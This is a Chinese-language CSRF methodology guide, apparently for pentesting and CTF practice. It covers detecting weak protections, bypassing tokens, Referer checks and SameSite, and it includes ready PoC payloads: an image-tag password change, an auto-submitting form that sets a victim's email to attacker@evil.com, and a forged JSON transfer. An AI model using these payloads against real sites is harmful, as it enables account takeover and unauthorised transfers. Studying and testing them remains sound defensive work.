CSRF 跨站请求伪造方法论
CSRF 利用浏览器自动携带 Cookie 的特性，让受害者在不知情的情况下以自己的身份发送请求。
Phase 1: 识别 CSRF 风险
1.1 检查防护机制
对敏感操作的请求，检查是否有以下防护：
- CSRF Token：表单中的
<input type="hidden" name="csrf_token"> - SameSite Cookie：
Set-Cookie: session=xxx; SameSite=Strict/Lax - Referer/Origin 检查：服务端验证请求来源
- 自定义 Header：如
X-Requested-With: XMLHttpRequest
1.2 高价值目标操作
- 修改密码/邮箱（→ 账户接管）
- 转账/支付
- 添加管理员
- 绑定/解绑第三方账户
- 修改权限/角色
Phase 2: 绕过 CSRF 防护
2.1 Token 绕过
# 删除 token 参数 — 某些实现只在 token 存在时才验证 csrf_token= (空值) # 使用其他用户的 token — 某些实现只检查 token 有效性，不绑定用户 # 用自己的账号获取一个 token，给受害者用 # Token 在 Cookie 中 — 可通过子域 XSS 设置 Cookie Cookie: csrf=TOKEN Body: csrf_token=TOKEN (两者匹配即可)
2.2 Referer/Origin 绕过
# 不发送 Referer <meta name="referrer" content="no-referrer"> # 包含目标域名的 URL https://evil.com/csrf?target.com https://target.com.evil.com # 空 Referer（某些实现只在 Referer 存在时才检查）
2.3 SameSite 绕过
SameSite=Lax：GET 请求仍可跨站（顶级导航）→ 如果操作接受 GET，可利用SameSite=None：无保护- 无 SameSite 属性：旧浏览器默认 None
- POST 被 SameSite 拦截时，改用 GET 可能不受限（方法不受限）
2.4 Token 验证缺陷
- 攻击者 token 替受害者使用：PoC 中硬编码自己的 token
- 服务端只检查 token 有效性，不检查归属（验证缺陷）
2.5 Method 绕过
- GET 方法绕过：某些修改操作也接受 GET（开发者错误）
window.location跳转即可触发 GET 请求- POST 被 CSRF 防护拦截时，GET 可能不受限
Phase 3: 构造 CSRF PoC
GET 请求
html<img src="http://target/api/changePassword?new=hacked">
POST 请求（表单自动提交）
html<form action="http://target/api/changeEmail" method="POST" id="f"> <input type="hidden" name="email" value="attacker@evil.com"> </form> <script>document.getElementById('f').submit();</script>
JSON Body（需要 CORS 配合）
如果 API 要求 Content-Type: application/json，需要检查：
- 是否接受
Content-Type: text/plain（form 可发送） - 是否有 CORS 允许跨域 POST
html<form action="http://target/api/transfer" method="POST" enctype="text/plain"> <input name='{"amount":1000,"to":"attacker","x":"' value='"}'> </form>
Phase 4: CTF 场景
CTF 中 CSRF 通常配合 XSS Bot：
- 发现 CSRF 漏洞 → 构造恶意页面
- 将链接提交给 "admin bot"（模拟管理员点击）
- 管理员以其身份执行操作（修改密码/获取 flag）
